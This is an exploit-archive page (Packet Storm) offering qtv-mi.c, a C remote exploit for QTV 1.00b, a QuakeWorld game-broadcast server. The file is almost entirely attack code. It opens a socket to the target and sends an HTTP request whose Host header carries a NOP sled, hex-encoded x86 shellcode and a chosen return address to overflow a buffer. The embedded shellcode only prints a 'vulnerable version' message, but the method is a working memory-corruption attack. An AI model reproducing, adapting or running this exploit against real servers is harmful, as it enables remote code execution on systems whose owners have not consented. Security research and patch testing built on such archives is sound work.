what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

qtv-mi.c

qtv-mi.c
Posted Jun 16, 2008
Authored by Oscar Linderholm

Remote exploit for QTV, a tool used for broadcasting QuakeWorld games.

tags | exploit, remote
SHA-256 | 47127f1505c7697ad9e699913c9d553c9bba2efc8023d2a52edf6c5fd97673ba

qtv-mi.c

Change Mirror Download
/*
* mi.c
* Remote exploit for QTV 1.00b and probably earlier versions as well
* QTV URL: http://qw-dev.net/projects/show/qtv
* Example usage: ./mi 127.0.0.1 28000 -559038737
* Copyright Oscar Linderholm, 2008, osclin at gmail
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
int sock, port, offset[4];
char payload[120], *qtv;
long temp;
struct sockaddr_in addr;

if (argc != 4)
{
printf("Usage: %s <QTV ip> <port> <offset>\n", argv[0]);
return 0;
}

qtv = argv[1];
port = atoi(argv[2]);
temp = atol(argv[3]);

offset[0] = temp << 24 >> 24;
offset[1] = temp << 16 >> 24;
offset[2] = temp << 8 >> 24;
offset[3] = temp >> 24;

if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
return -1;
}

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(qtv);
addr.sin_port = htons(port);
memset(addr.sin_zero, '\0', sizeof(addr.sin_zero));

if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)
{
perror("connect");
return -1;
}

memset(payload, '\0', 120);
sprintf(payload, "\x47\x45\x54\x20\x2f\x77\x61\x74\x63\x68\x2e\x71"
"\x74\x76\x3f\x73\x69\x64\x3d\x31\x0d\x0a\x48\x6f"
"\x73\x74\x3a\x20\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb"
"\x13\x59\x29\xc0\xb0\x04\x29\xdb\x43\x29\xd2\xb2"
"\x17\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xe8\xff\xff"
"\xff\x56\x75\x6c\x6e\x65\x72\x61\x62\x6c\x65\x20"
"\x76\x65\x72\x73\x69\x6f\x6e\x20\x51\x54\x56\x0a"
"%c%c%c%c\x0d\x0a\x0d\x0a",
offset[0], offset[1], offset[2], offset[3]);

send(sock, payload, 116, 0);
close(sock);

return 0;
}
Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    0 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close